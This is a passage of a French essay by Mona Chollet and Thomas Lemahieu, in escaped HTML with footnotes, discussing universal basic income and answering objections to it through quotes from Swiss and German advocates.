consommation \u00ab\u00a0de d\u00e9dommagement\u00a0\u00bb pourrait dispara\u00eetre d\u2019elle-m\u00eame si les gens n\u2019\u00e9taient plus d\u00e9poss\u00e9d\u00e9s de <a href=\"http:\/\/www.peripheries.net\/article320.html\">leur bien le plus pr\u00e9cieux\u00a0: leur temps<\/a>. \u00ab\u00a0Sinon, glisse Marie-Paule Perrin, on en est r\u00e9duit \u00e0 pr\u00f4ner la d\u00e9croissance en leur donnant mauvaise conscience. Et \u00e7a, c\u2019est insupportable.\u00a0\u00bb<\/p>\n<p style=\"text-align: left;\">En allemand, H\u00e4ni et Schmidt ont cette formule\u00a0: \u00ab\u00a0Freiheit statt Freizeit\u00a0\u00bb &#8211; \u00ab\u00a0la libert\u00e9 au lieu du temps libre\u00a0\u00bb. Et c\u2019est bien cela qui fait peur\u00a0: la libert\u00e9. Marie-Paule Perrin se rappelle avoir entendu parler pour la premi\u00e8re fois du revenu garanti autour de 1997, avant le vote de la loi Aubry sur les 35\u00a0heures, en France\u00a0: \u00ab\u00a0On se demandait ce que les gens allaient faire du temps que la loi allait lib\u00e9rer, on r\u00e9fl\u00e9chissait au partage entre travail et loisirs, et, de fil en aiguille, au sens de la vie. Beaucoup ressortaient <em>Le Droit \u00e0 la paresse.<\/em> \u00bb A droite, la psychose des 35\u00a0heures \u00e9tait en marche. En 2003, l\u2019essayiste lib\u00e9ral Nicolas Baverez estimait sans complexes que, autant la r\u00e9duction du temps de travail est \u00ab\u00a0appr\u00e9ciable pour aller dans le Lub\u00e9ron, autant, pour les couches les plus modestes, le temps libre, c\u2019est l\u2019alcoolisme, le d\u00e9veloppement de la violence, la d\u00e9linquance\u00a0\u00bb (<a id=\"nh10\" title=\"(10) Voir \u00ab Les 35 heures ? Violence conjugale et alcoolisme ! \u00bb, Acrimed, (...)\" name=\"nh10\" href=\"http:\/\/www.peripheries.net\/article326.html#nb10\">10<\/a>).<\/p>\n<h3>Une utopie \u00e9litiste\u00a0?<\/h3>\n<p style=\"text-align: left;\">A gauche aussi, cette peur existe. Un reproche r\u00e9current adress\u00e9 au revenu de base le qualifie d\u2019utopie \u00e9litiste, imagin\u00e9e par des bobos et des intellos ne tenant pas compte du fait que certaines classes sociales seraient moins bien arm\u00e9es pour faire face \u00e0 cette libert\u00e9 nouvelle. \u00ab\u00a0Moi, c\u2019est cette objection qui me semble extraordinairement \u00e9litiste, au contraire\u00a0\u00bb, ass\u00e8ne Oliver Seeger. Il invoque l\u2019exemple de la lutte des ouvriers de Lucas Aerospace, qui, dans les ann\u00e9es 1970, au Royaume-Uni, avaient \u00e9labor\u00e9, au terme de deux ans de r\u00e9flexion collective, un Plan alternatif pour leur entreprise. \u00ab\u00a0Refusant la logique des licenciements au nom de la pr\u00e9tendue rentabilit\u00e9 de la production, le Plan \u00e9voque la n\u00e9cessit\u00e9 de s\u2019appuyer sur d\u2019autres besoins que ceux du capitalisme, \u00e9crit \u00e0 ce sujet le site <a href=\"http:\/\/www.solidarites.ch\/geneve\/index.php\/ecosocialisme\/83-ecologie\/237-reconversion-industrielle-lexemple-de-lucas-aerospace\">Solidarit\u00e9s.ch<\/a>. Dans le combat pour d\u00e9terminer \u00e0 quoi doit \u00eatre utilis\u00e9e la force de travail, les travailleurs d\u00e9veloppent une premi\u00e8re exp\u00e9rience d\u2019un r\u00e9el contr\u00f4le ouvrier. Ils ne se contentent pas en effet de g\u00e9rer la structure capitaliste. Ils veulent travailler et utiliser les forces productives existantes pour r\u00e9pondre aux r\u00e9els besoins de la soci\u00e9t\u00e9 et pour \u0153uvrer de telle sorte que le travailleur puisse d\u00e9velopper toute sa capacit\u00e9 productive.\u00a0\u00bb Et les id\u00e9es ne manquaient pas\u00a0: technologies permettant des \u00e9conomies d\u2019\u00e9nergie ou recourant \u00e0 l\u2019\u00e9olien et au solaire, mat\u00e9riel hospitalier, appareils de dialyse portatifs ou v\u00e9hicules pour handicap\u00e9s&#8230; On pourrait ajouter \u00e0 cet exemple celui, plus g\u00e9n\u00e9ral, de la <a href=\"http:\/\/www.vacarme.org\/article1854.html\">perruque<\/a>, pratique par laquelle un ouvrier d\u00e9tourne une machine pour son propre usage.<\/p>\n<div style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" style=\"border-width: 0px; width: 450px;\" src=\"http:\/\/www.peripheries.net\/IMG\/jpg\/carte.jpg\" alt=\"(JPG)\" width=\"450\" height=\"320\" \/><\/div>\n<p style=\"text-align: left;\">\u00ab\u00a0A Longo Ma\u00ef, se souvient Oliver Seeger, il y avait toujours ce pr\u00e9suppos\u00e9 selon lequel nous \u00e9tions une avant-garde r\u00e9volutionnaire, une petite \u00e9lite qui se pr\u00e9parait pour le jour J &#8211; on ne l\u2019exprimait peut-\u00eatre pas de fa\u00e7on aussi caricaturale, mais on n\u2019en pensait pas moins. Aujourd\u2019hui, c\u2019est justement cela qui me s\u00e9duit dans le revenu de base\u00a0: la perspective de laisser les gens libres, pour une fois. De ne pas penser \u00e0 leur place, de ne pas leur pr\u00e9m\u00e2cher une id\u00e9ologie qu\u2019ils seraient condamn\u00e9s \u00e0 suivre &#8211; puisqu\u2019elle ne viendrait pas d\u2019eux. L\u00e0, tout part de l\u2019individu, de sa r\u00e9flexion personnelle.\u00a0\u00bb Comme le dit dans le film Wolf Lotter, journaliste \u00e9conomique \u00e0 Hambourg\u00a0: \u00ab\u00a0Le grand d\u00e9fi, c\u2019est que chacun doit r\u00e9apprendre \u00e0 vivre.\u00a0\u00bb Et l\u2019on peut parier que toutes les classes sociales seraient \u00e9galement paum\u00e9es, au d\u00e9but, devant cette libert\u00e9 nouvelle\u00a0: \u00ab\u00a0Le revenu de base implique de se mettre en jeu, de se donner du mal. J\u2019esp\u00e8re bien que les gens auraient mal \u00e0 la t\u00eate, et au c\u0153ur, et au ventre, que tout leur m\u00e9tabolisme serait d\u00e9rang\u00e9, s\u2019ils devaient r\u00e9fl\u00e9chir \u00e0 ce qu\u2019ils ont r\u00e9ellement envie de faire\u00a0! poursuit Oliver Seeger. Comment pourrait-il en \u00eatre autrement quand, pendant des ann\u00e9es, on est all\u00e9 au turbin sans se poser de questions\u00a0? Mais moi, j\u2019aimerais vraiment avoir une chance de voir ce que cela pourrait donner. Cela me rend tr\u00e8s curieux.\u00a0\u00bb<\/p>\n<h3 style=\"text-align: center;\">\u00ab\u00a0Le revenu de base d\u00e9montre<br \/>\nque l\u2019\u00e9galit\u00e9, loin d\u2019\u00eatre l\u2019ennemie de la libert\u00e9,<br \/>\nen est la condition\u00a0\u00bb<\/h3>\n<p style=\"text-align: left;\">Sans cette libert\u00e9, ajoute-t-il, il ne saurait y avoir de d\u00e9mocratie r\u00e9elle\u00a0: \u00ab\u00a0Un citoyen ne peut pas d\u00e9cider librement s\u2019il est exploit\u00e9 dans un processus de production. Pour \u00eatre membre d\u2019une d\u00e9mocratie, il faut \u00eatre ind\u00e9pendant. C\u2019est bien pour cela que, chez les Grecs, les esclaves ne votaient pas\u00a0!\u00a0\u00bb Marie-Paule Perrin a encore une autre raison d\u2019\u00eatre s\u00e9duite par cette perspective\u00a0: \u00ab\u00a0Ce serait une mani\u00e8re de mettre fin au d\u00e9bat qui agite r\u00e9guli\u00e8rement les \u00e9ditorialistes fran\u00e7ais, et qui me casse les pieds, sur la pr\u00e9tendue opposition entre \u00e9galit\u00e9 et libert\u00e9\u00a0: ils arguent qu\u2019on ne peut pas vouloir l\u2019\u00e9galit\u00e9 sans renoncer \u00e0 la libert\u00e9 &#8211; sans que cela nous ram\u00e8ne au goulag, en somme. Or, avec le revenu de base, l\u2019\u00e9galit\u00e9 devient la condition de la libert\u00e9.\u00a0\u00bb<\/p>\n<p style=\"text-align: left;\">Une autre objection immanquablement suscit\u00e9e par le revenu de base, \u00ab\u00a0Mais qui fera les sales boulots\u00a0?\u00a0\u00bb, constitue \u00e0 elle seule un aveu terrible, fait-elle remarquer\u00a0: \u00ab\u00a0La poser, c\u2019est admettre qu\u2019il nous faut une cat\u00e9gorie de population suffisamment vuln\u00e9rable pour ne pas pouvoir refuser les boulots dont nous ne voulons pas.\u00a0\u00bb Les solutions possibles donn\u00e9es par les partisans du revenu garanti varient assez peu. Il y en a trois\u00a0: les faire soi-m\u00eame, les automatiser et les rationaliser, ou enfin reconna\u00eetre leur utilit\u00e9 sociale et les payer en cons\u00e9quence, de fa\u00e7on \u00e0 les rendre attractifs sur le plan financier (<a id=\"nh11\" title=\"(11) Lire \u00e0 ce sujet Pierre Rimbert, \u00ab De la valeur ignor\u00e9e des m\u00e9tiers \u00bb, Le (...)\" name=\"nh11\" href=\"http:\/\/www.peripheries.net\/article326.html#nb11\">11<\/a>). On pourrait aussi imaginer que la disparition d\u2019une main-d\u2019\u0153uvre captive provoque une prise de conscience qui conduirait, par exemple, \u00e0 r\u00e9duire le volume des d\u00e9chets produits, ou \u00e0 abandonner des comportements n\u00e9gligents et m\u00e9prisants.<\/p>\n<h3>Transformer les individus en personnes<\/h3>\n<p style=\"text-align: left;\">Se pose aussi la question de savoir comment d\u00e9finir les \u00ab\u00a0membres d\u2019une communaut\u00e9 politique\u00a0\u00bb qui auraient droit au revenu de base\u00a0: le crit\u00e8re serait-il le domicile\u00a0? La nationalit\u00e9\u00a0? \u00ab\u00a0Cette question n\u2019est pas tranch\u00e9e. Elle suscite une certaine \u00e9pouvante \u00e0 l\u2019id\u00e9e que, si on accordait ce droit \u00e0 tout le monde, les \u00e9trangers d\u00e9barqueraient en masse. Mais il faut avoir en t\u00eate que si chacun \u00e9tait assur\u00e9 d\u2019un revenu, la d\u00e9fiance envers les immigr\u00e9s serait d\u00e9j\u00e0 bien moindre&#8230;\u00a0\u00bb L\u2019un des m\u00e9rites du revenu de base serait son \u00ab\u00a0effet sur l\u2019escalade des tensions sociales\u00a0\u00bb, comme l\u2019observe dans le film le journaliste Wolf Lotter.<\/p>\n<p style=\"text-align: left;\">Autre critique que l\u2019on entend formuler\u00a0: le fait que le revenu de base soit un droit individuel ne risque-t-il pas d\u2019aggraver encore les ravages de l\u2019individualisme, d\u2019acc\u00e9l\u00e9rer la disparition de toute logique collective\u00a0? \u00ab\u00a0Dans ce cas, plut\u00f4t que de dire \u201cl\u2019individu\u201d, on peut dire \u201cla personne\u201d\u00a0\u00bb, r\u00e9pond Marie-Paule Perrin, famili\u00e8re de la pens\u00e9e de <a href=\"http:\/\/www.peripheries.net\/article186.html\">Miguel Benasayag<\/a>. A l\u2019<em>individu<\/em>, figure de la s\u00e9paration, de l\u2019ali\u00e9nation, de l\u2019impuissance, celui-ci oppose en effet la <em>personne<\/em>, \u00ab\u00a0au sens o\u00f9 chacun de nous est intimement li\u00e9 au destin des autres\u00a0: ma libert\u00e9 ne finit pas o\u00f9 commence la v\u00f4tre, mais existe sous condition de la v\u00f4tre\u00a0\u00bb, nous expliquait-il. De fait, le revenu de base peut m\u00eame appara\u00eetre comme un moyen de (re)faire des individus des personnes. Dans <em>Un revenu pour tous<\/em>, Baptiste Mylondo cite les travaux de deux chercheurs de l\u2019universit\u00e9 catholique de Louvain qui ont tent\u00e9 en 2004 de deviner les effets produits par le revenu de base en s\u2019int\u00e9ressant aux gagnants du jeu \u00ab\u00a0Win for life\u00a0\u00bb, \u00e9quivalent belge de ce qui s\u2019appelle en France \u00ab\u00a0Tac o Tac TV, gagnant \u00e0 vie\u00a0\u00bb, garantissant le versement d\u2019un revenu mensuel \u00e0 vie. Parmi les diff\u00e9rences importantes entre les deux situations, qui obligent \u00e0 relativiser leurs conclusions, Mylondo en rel\u00e8ve une qu\u2019ils ont n\u00e9glig\u00e9e\u00a0: \u00ab\u00a0Tandis que le b\u00e9n\u00e9ficiaire du revenu inconditionnel est entour\u00e9 d\u2019autres b\u00e9n\u00e9ficiaires, le gagnant du loto est totalement isol\u00e9. Or la valeur du temps libre cro\u00eet avec le nombre de personnes avec qui il est possible de le partager.\u00a0\u00bb<\/p>\n<h3>Plut\u00f4t que de rechercher l\u2019autosuffisance, assumer l\u2019interd\u00e9pendance<\/h3>\n<p style=\"text-align: left;\">\u00ab\u00a0Chaque \u00eatre humain porte en lui ses propres objectifs et son travail, et il les abandonne parce qu\u2019il ne peut pas les convertir en argent.\u00a0\u00bb Dans leur film, Daniel H\u00e4ni et Enno Schmidt insistent sur l\u2019\u00e9panouissement personnel que permettrait le revenu de base &#8211; un \u00ab\u00a0\u00e9panouissement\u00a0\u00bb r\u00e9el, cette fois, c\u2019est-\u00e0-dire d\u00e9barrass\u00e9 de sa dimension <em>bullshit<\/em> qui, aujourd\u2019hui, aggrave l\u2019ali\u00e9nation en pr\u00e9tendant la soulager, puisque l\u2019on \u00e9jecterait de l\u2019\u00e9quation le couple infernal management-consommation. Ils proposent de \u00ab\u00a0prendre l\u2019individu au s\u00e9rieux\u00a0\u00bb. Une tr\u00e8s belle s\u00e9quence les montre, \u00e0 la gare de B\u00e2le, distribuant aux passants de tous \u00e2ges les couronnes en carton dor\u00e9 dont ils ont fait le symbole de leur combat. \u00ab\u00a0Le plus int\u00e9ressant dans ce syst\u00e8me, c\u2019est que je ne pourrai plus dire \u00e0 la fin de ma vie que je n\u2019ai pas pu faire ce que je voulais\u00a0\u00bb, \u00e9nonce la com\u00e9dienne b\u00e2loise Bettina Dieterle.<\/p>\n<div style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" style=\"border-width: 0px; width: 450px;\" src=\"http:\/\/www.peripheries.net\/IMG\/jpg\/couronnesthomastack.jpg\" alt=\"(JPG)\" width=\"450\" height=\"338\" \/><\/div>\n<p style=\"text-align: left;\">Et, en m\u00eame temps, le revenu de base implique de reconna\u00eetre les liens de profonde interd\u00e9pendance qui unissent les membres d\u2019une soci\u00e9t\u00e9, et qui conditionnent cet \u00e9panouissement. C\u2019est m\u00eame l\u2019un de ses traits les plus frappants\u00a0: il invite \u00e0 prendre conscience du fait qu\u2019on travaille toujours pour les autres, m\u00eame si on a l\u2019illusion de travailler pour soi parce qu\u2019on en retire un salaire. On est loin de l\u2019utopie de beaucoup de d\u00e9croissants, qui se montrent obs\u00e9d\u00e9s par l\u2019autosuffisance et semblent se donner pour but d\u2019\u00eatre capables de produire tout ce dont ils pourraient avoir besoin. \u00ab\u00a0Au-del\u00e0 d\u2019une certaine limite, l\u2019autosuffisance ne peut pas \u00eatre un projet politique, estime Marie-Paule Perrin. En Suisse, par exemple, la densit\u00e9 de population est telle qu\u2019il serait inenvisageable de nourrir tous les habitants avec la production agricole du pays.\u00a0\u00bb<\/p>\n<h3 style=\"text-align: center;\">\u00ab\u00a0Je n\u2019ai ni le besoin ni le d\u00e9sir<br \/>\nde recevoir une aide de la soci\u00e9t\u00e9.<br \/>\nJe ne veux compter que sur mes propres forces.\u00a0\u00bb<br \/>\nUn jeune homme oppos\u00e9 au revenu de base<\/h3>\n<p style=\"text-align: left;\"><img loading=\"lazy\" decoding=\"async\" style=\"border-width: 0px; float: left; width: 200px;\" src=\"http:\/\/www.peripheries.net\/IMG\/jpg\/wiest.jpg\" alt=\"(JPG)\" width=\"200\" height=\"218\" \/>Dans une tribune intitul\u00e9e \u00ab\u00a0<a href=\"http:\/\/www.initiative-grundeinkommen.ch\/content\/blog\/info3-grundeinkommen-0410.pdf\">La politique sociale et le paradis<\/a> \u00bb (PDF, en allemand), Susanne Wiest relate sa rencontre, lors d\u2019un d\u00e9bat sur le revenu de base organis\u00e9 dans sa ville, avec un jeune homme qui lui signifie d\u2019embl\u00e9e son opposition \u00e0 cette id\u00e9e\u00a0: \u00ab\u00a0D\u00e8s que j\u2019aurai termin\u00e9 mes \u00e9tudes, je veux voler de mes propres ailes, lui dit-il. Je n\u2019ai ni le besoin ni le d\u00e9sir de recevoir une aide de la soci\u00e9t\u00e9. Je ne veux compter que sur mes propres forces.\u00a0\u00bb Elle raconte\u00a0: \u00ab\u00a0Je lui ai alors demand\u00e9 s\u2019il avait aussi construit l\u2019universit\u00e9 de Greifswald de ses propres mains, et les rues de la ville, ou encore s\u2019il \u00e9tait responsable de ces bancs si agr\u00e9ables sur les remparts\u00a0? Le revenu de base n\u2019est pas une prestation sociale pour les n\u00e9cessiteux. Comme son nom l\u2019indique, c\u2019est une <em>base<\/em>. Et une base, il y en a toujours une\u00a0: l\u2019universit\u00e9 qui ouvre ses portes, le pommier en fleur dans le jardin, le train dans lequel je peux monter. Quelle base sociale avons-nous aujourd\u2019hui\u00a0? L\u2019avons-nous choisie, ou a-t-elle simplement pouss\u00e9 l\u00e0, mille fois rafistol\u00e9e et adapt\u00e9e\u00a0? Est-elle pour nous un jardin fertile, dans lequel je peux faire pousser une rang\u00e9e de pommes de terre quand d\u2019autres sources de revenus se tarissent, ou quand j\u2019en ai envie\u00a0? Que puis-je faire aujourd\u2019hui pour m\u2019aider moi-m\u00eame, pour me r\u00e9aliser et construire ma vie\u00a0? Est-ce que la base Hartz IV [derni\u00e8re des quatre r\u00e9formes de l\u2019assurance ch\u00f4mage allemande] nous rend service\u00a0? Avons-nous eu notre mot \u00e0 dire \u00e0 son sujet\u00a0? (&#8230;) Le revenu de base n\u2019est pas un organisme de bienfaisance\u00a0: c\u2019est un jardin. C\u2019est une base et une opportunit\u00e9.\u00a0\u00bb<\/p>\n<p style=\"text-align: left;\"><a href=\"http:\/\/www.peripheries.net\/article257.html\"><img loading=\"lazy\" decoding=\"async\" style=\"border-width: 0px; float: right; width: 129px;\" src=\"http:\/\/www.peripheries.net\/IMG\/jpg\/paradis-2.jpg\" alt=\"(JPG)\" width=\"129\" height=\"271\" \/><\/a>Un jardin\u00a0? Son interlocuteur commente\u00a0: \u00ab\u00a0\u00c7a sonne bien\u00a0; on dirait presque le paradis. Mais l\u2019\u00eatre humain est paresseux\u00a0: quand il lui manque la motivation, l\u2019aiguillon, il ne fait plus rien. Le paradis, on sait bien que \u00e7a ne marche pas.\u00a0\u00bb Comme quoi certaines conceptions ont la vie dure&#8230; Mais Susanne Wiest saisit la balle au bond\u00a0: \u00ab\u00a0Moi, j\u2019aimerais bien r\u00e9cup\u00e9rer <a href=\"http:\/\/www.peripheries.net\/article257.html\">le paradis<\/a>. Pas le paradis o\u00f9 nous aurions \u00e9t\u00e9 sans le savoir, mais celui que nous b\u00e2tissons nous-m\u00eames. Ce projet, c\u2019est mon but ultime, mon aiguillon \u00e0 moi.\u00a0\u00bb Elle conclut, r\u00eaveuse\u00a0: \u00ab\u00a0\u201cRevenu de base &#8211; Pr\u00e9sentation d\u2019une id\u00e9e\u201d\u00a0: \u00e7a s\u2019annon\u00e7ait comme un d\u00e9bat inoffensif sur une question de politique sociale pr\u00e9cise. Et puis nous nous sommes assis, et nous avons parl\u00e9 du paradis, et de nos d\u00e9sirs les plus secrets, de nos attitudes face \u00e0 la vie. Nous nous sommes r\u00e9v\u00e9l\u00e9s. J\u2019ai appris de nouvelles choses sur moi-m\u00eame et sur les autres, j\u2019ai exp\u00e9riment\u00e9 et approch\u00e9 de plus pr\u00e8s mes motivations les plus intimes. C\u2019\u00e9tait une claire et belle soir\u00e9e, et une merveilleuse discussion.\u00a0\u00bb<\/p>\n<h3 style=\"text-align: center;\">\u00ab\u00a0Le savoir, la formation,<br \/>\ntoute l\u2019ing\u00e9nierie accumul\u00e9e,<br \/>\ntout \u00e7a, c\u2019est \u00e0 nous tous\u00a0\u00bb<\/h3>\n<p style=\"text-align: left;\">La reconnaissance de l\u2019interd\u00e9pendance humaine est aux fondements philosophiques du revenu de base, que l\u2019\u00e9crivain <a href=\"http:\/\/www.peripheries.net\/article247.html\">Yves Pag\u00e8s<\/a>, proche du CARGO, nous r\u00e9sumait dans un entretien\u00a0: \u00ab\u00a0L\u2019argument, c\u2019est que le salariat est en train de s\u2019abolir de lui-m\u00eame. Il n\u2019y a plus de possibilit\u00e9 r\u00e9elle de comptabiliser, d\u2019individualiser un salaire d\u2019une fa\u00e7on non arbitraire. Le savoir, la formation, toute l\u2019ing\u00e9nierie accumul\u00e9e, tout \u00e7a, c\u2019est \u00e0 nous tous. Ne serait-ce que le langage\u00a0: la possibilit\u00e9 m\u00eame que nous parlions, cela fait d\u00e9j\u00e0 \u00e0 peu pr\u00e8s la moiti\u00e9 du travail. Les autonomes italiens, et notamment Paolo Virno, sont all\u00e9s d\u00e9nicher une id\u00e9e de Marx\u00a0: le <em>general intellect<\/em>.\u00a0\u00bb C\u2019est ce que le film de Daniel H\u00e4ni et Enno Schmidt dit aussi \u00e0 sa mani\u00e8re\u00a0: \u00ab\u00a0Le travail que chacun ex\u00e9cute n\u2019a pas de prix, mais le revenu de base le rend possible.\u00a0\u00bb Et, \u00e0 c\u00f4t\u00e9 de cela, il faut affirmer \u00ab\u00a0le droit de chaque personne \u00e0 profiter du bien-\u00eatre de la nation\u00a0\u00bb.<\/p>\n<p style=\"text-align: left;\">Est-ce parce qu\u2019il imbrique aussi \u00e9troitement le personnel et le collectif que le revenu de base suscite une adh\u00e9sion aussi enthousiaste chez ceux qui se laissent s\u00e9duire\u00a0? Quoi qu\u2019il en soit, Marie-Paule Perrin en constate les effets positifs sur elle\u00a0: \u00ab\u00a0Avant qu\u2019Oliver ne me montre le film de Daniel et Enno, j\u2019\u00e9tais d\u00e9sesp\u00e9r\u00e9e par l\u2019\u00e9tat du monde, au point que je n\u2019avais plus ni la force ni l\u2019envie de me confronter aux probl\u00e8mes sociaux ou politiques. J\u2019\u00e9tais comme paralys\u00e9e, parce que je n\u2019entrevoyais aucun d\u00e9but de solution. La perspective \u00e9bauch\u00e9e par le revenu de base, en jetant un autre \u00e9clairage sur les choses, en me les faisant voir sous un autre angle, a suscit\u00e9 un red\u00e9marrage de la r\u00e9flexion.\u00a0\u00bb<\/p>\n<h3 style=\"text-align: center;\">\u00ab\u00a0Il est toujours possible<br \/>\nde transformer un aquarium en bouillabaisse\u00a0\u00bb<\/h3>\n<p style=\"text-align: left;\">Pour autant, qu\u2019on ne s\u2019y trompe pas\u00a0: il ne s\u2019agit pas d\u2019un projet r\u00e9volutionnaire. M\u00eame si ses partisans ont leurs propres r\u00eaves et attentes quant \u00e0 ce qu\u2019il pourrait produire, le revenu de base ne pr\u00e9tend pas d\u00e9finir un mod\u00e8le de la \u00ab\u00a0bonne vie\u00a0\u00bb, mais seulement cr\u00e9er les conditions pour lib\u00e9rer les ressources de chacun et de tous &#8211; \u00ab\u00a0donner de l\u2019air\u00a0\u00bb, comme dit Marie-Paule Perrin. En ce sens, il est davantage une pochette surprise qu\u2019une utopie au sens strict. Et on ne peut exclure le cas de figure o\u00f9 il serait d\u00e9voy\u00e9. Un mod\u00e8le immunis\u00e9 contre un tel risque ne saurait exister &#8211; et d\u2019ailleurs, il vaut sans doute mieux ne pas le souhaiter. Pour reprendre une expression qu\u2019affectionne particuli\u00e8rement Oliver Seeger, \u00ab\u00a0il est toujours possible de transformer un aquarium en bouillabaisse\u00a0\u00bb. Il raconte\u00a0: \u00ab\u00a0Une amie qui est militante communiste, ici en Suisse al\u00e9manique, m\u2019a dit avec le plus grand s\u00e9rieux\u00a0: \u201cLe revenu de base, voil\u00e0 typiquement une id\u00e9e qui pourrait tr\u00e8s mal tourner.\u201d J\u2019ai trouv\u00e9 que c\u2019\u00e9tait un comble\u00a0! Je lui ai r\u00e9pondu\u00a0: \u201cAh oui, c\u2019est s\u00fbr que vous, les communistes, vous \u00eates bien plac\u00e9s pour parler\u00a0!\u201d\u00a0\u00bb<\/p>\n<p style=\"text-align: left;\">Il ne s\u2019agit pas non plus de r\u00e9soudre tous les probl\u00e8mes. \u00ab\u00a0Le propos n\u2019est pas de s\u2019attaquer aux in\u00e9galit\u00e9s de patrimoine, ou \u00e0 la sp\u00e9culation, m\u00eame si rien n\u2019emp\u00eache de lutter contre elles par ailleurs\u00a0: c\u2019est d\u2019assurer \u00e0 chacun la possibilit\u00e9 mat\u00e9rielle de mener sa vie comme il le souhaite.\u00a0\u00bb A cet \u00e9gard, le film de H\u00e4ni et Schmidt risque de s\u2019av\u00e9rer tr\u00e8s d\u00e9routant, voire choquant, pour quiconque est habitu\u00e9 au registre lexical de la gauche radicale fran\u00e7aise. Aucune logique d\u2019affrontement ici\u00a0; ce qui est peut-\u00eatre la faiblesse, mais aussi la force de la d\u00e9marche. Comme l\u2019illustre la discussion avec l\u2019\u00e9tudiant rapport\u00e9e par Susanne Wiest, le th\u00e8me du revenu de base fonctionne comme un laboratoire. Il am\u00e8ne \u00e0 r\u00e9fl\u00e9chir \u00e0 ce que l\u2019on veut vraiment, aux conceptions dont on est impr\u00e9gn\u00e9\u00a0; une exp\u00e9rience dont chacun ne peut que sortir renforc\u00e9, mieux arm\u00e9 pour faire face aux in\u00e9galit\u00e9s et aux injustices. Ce qui, admettons-le, ne serait pas un luxe&#8230;<\/p>\n<div style=\"text-align: left;\"><strong>Mona Chollet<\/strong><br \/>\nAvec <strong>Thomas Lemahieu <\/strong>publi\u00e9 sur <a href=\"http:\/\/www.peripheries.net\/article326.html\" target=\"_blank\">P\u00e9riph\u00e9ries<\/a>.<\/div>\n<\/div>\n<p style=\"text-align: left;\">(<a name=\"nb1\" href=\"http:\/\/www.peripheries.net\/article326.html#nh1\">1<\/a>) Voir aussi l\u2019entretien avec leur meneur, le Fran\u00e7ais Guillaume Paoli, en 2003 sur le webzine lillois <em>L\u2019Interdit<\/em> : \u00ab\u00a0<a href=\"http:\/\/interdits.net\/interdits\/index.php?option=com_content&amp;task=view&amp;id=58&amp;Itemid=64\">Du bonheur d\u2019\u00eatre ch\u00f4meur<\/a> \u00bb.<br \/>\n(<a name=\"nb2\" href=\"http:\/\/www.peripheries.net\/article326.html#nh2\">2<\/a>) Quelques sons rescap\u00e9s <a href=\"http:\/\/lexomaniaque.blogspot.com\/2010\/11\/nos-amies-les-miettes.html\">\u00e0 \u00e9couter ici<\/a>, d\u2019autres <a href=\"http:\/\/www.cip-idf.org\/article.php3?id_article=5374\">archives l\u00e0<\/a>.<br \/>\n(<a name=\"nb3\" href=\"http:\/\/www.peripheries.net\/article326.html#nh3\">3<\/a>) \u00ab\u00a0<a href=\"http:\/\/www.ac.eu.org\/spip.php?article1777\">Richesse, travail et revenu garanti<\/a> \u00bb, sur le site d\u2019AC\u00a0!.<br \/>\n(<a name=\"nb4\" href=\"http:\/\/www.peripheries.net\/article326.html#nh4\">4<\/a>) Voir aussi Bernard Friot, \u00ab\u00a0<a href=\"http:\/\/www.monde-diplomatique.fr\/2010\/09\/FRIOT\/19637\">Retraites, un tr\u00e9sor impens\u00e9<\/a> \u00bb, <em>Le Monde diplomatique<\/em>, septembre 2010.<br \/>\n(<a name=\"nb5\" href=\"http:\/\/www.peripheries.net\/article326.html#nh5\">5<\/a>) Lire Anne Daguerre, \u00ab\u00a0<a href=\"http:\/\/www.monde-diplomatique.fr\/2005\/06\/DAGUERRE\/12554\">Emplois forc\u00e9s pour les b\u00e9n\u00e9ficiaires de l\u2019aide sociale<\/a> \u00bb, et Laurent Cordonnier, \u00ab\u00a0<a href=\"http:\/\/www.monde-diplomatique.fr\/2006\/12\/CORDONNIER\/14220\">Economistes en guerre contre les ch\u00f4meurs<\/a> \u00bb, <em>Le Monde diplomatique<\/em>, juin 2005 et d\u00e9cembre 2006.<br \/>\n(<a name=\"nb6\" href=\"http:\/\/www.peripheries.net\/article326.html#nh6\">6<\/a>) \u00ab\u00a0<a href=\"http:\/\/www.monde-diplomatique.fr\/2010\/11\/LINHART\/19835\">M\u00e9tro, boulot, tombeau<\/a> \u00bb, <em>Le Monde diplomatique<\/em>, novembre 2010.<br \/>\n(<a name=\"nb7\" href=\"http:\/\/www.peripheries.net\/article326.html#nh7\">7<\/a>) Lire, dans <em>Le Courrier<\/em> du 9 novembre 2010, \u00ab\u00a0<a href=\"http:\/\/lecourrier.ch\/index.php?name=News&amp;file=article&amp;sid=447334\">Un revenu de base pour tous\u00a0? Pas si utopique que cela\u00a0!<\/a> \u00bb.<br \/>\n(<a name=\"nb8\" href=\"http:\/\/www.peripheries.net\/article326.html#nh8\">8<\/a>) Le <a href=\"http:\/\/www.bignam.org\/Publications\/BIG_Assessment_report_08a.pdf\">rapport d\u00e9taill\u00e9<\/a> sur ce projet pilote au niveau mondial est consultable ici &#8211; PDF, en anglais.<br \/>\n(<a name=\"nb9\" href=\"http:\/\/www.peripheries.net\/article326.html#nh9\">9<\/a>) \u00ab\u00a0<a href=\"http:\/\/www.courrierinternational.com\/article\/2010\/04\/29\/les-miracles-du-revenu-minimum-garanti\">Namibie\u00a0: les miracles du revenu garanti<\/a> \u00bb, <em>Courrier international<\/em>, 29 avril 2010.<br \/>\n(<a name=\"nb10\" href=\"http:\/\/www.peripheries.net\/article326.html#nh10\">10<\/a>) Voir \u00ab\u00a0<a href=\"http:\/\/www.acrimed.org\/article1297.html\">Les 35 heures\u00a0? Violence conjugale et alcoolisme\u00a0!<\/a> \u00bb, Acrimed, octobre 2003.<br \/>\n(<a name=\"nb11\" href=\"http:\/\/www.peripheries.net\/article326.html#nh11\">11<\/a>) Lire \u00e0 ce sujet Pierre Rimbert, \u00ab\u00a0<a href=\"http:\/\/www.monde-diplomatique.fr\/2010\/03\/RIMBERT\/18923\">De la valeur ignor\u00e9e des m\u00e9tiers<\/a> \u00bb, <em>Le Monde diplomatique<\/em>, mars 2010.<\/p>\n<div style=\"text-align: left;\"><a href=\"http:\/\/www.revenudebase.org\/\">www.revenudebase.org<\/a><br \/>\n<a href=\"http:\/\/appelpourlerevenudevie.org\/\">http:\/\/appelpourlerevenudevie.org<\/a><\/div>\n<div><a href=\"http:\/\/www.partipourladecroissance.net\/?p=4144\" target=\"_blank\">Une Dotation Inconditionnelle d\u2019Autonomie pour tous<\/a><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Le d\u00e9bat sur le revenu de base, le revenu garanti, le revenu inconditionnel 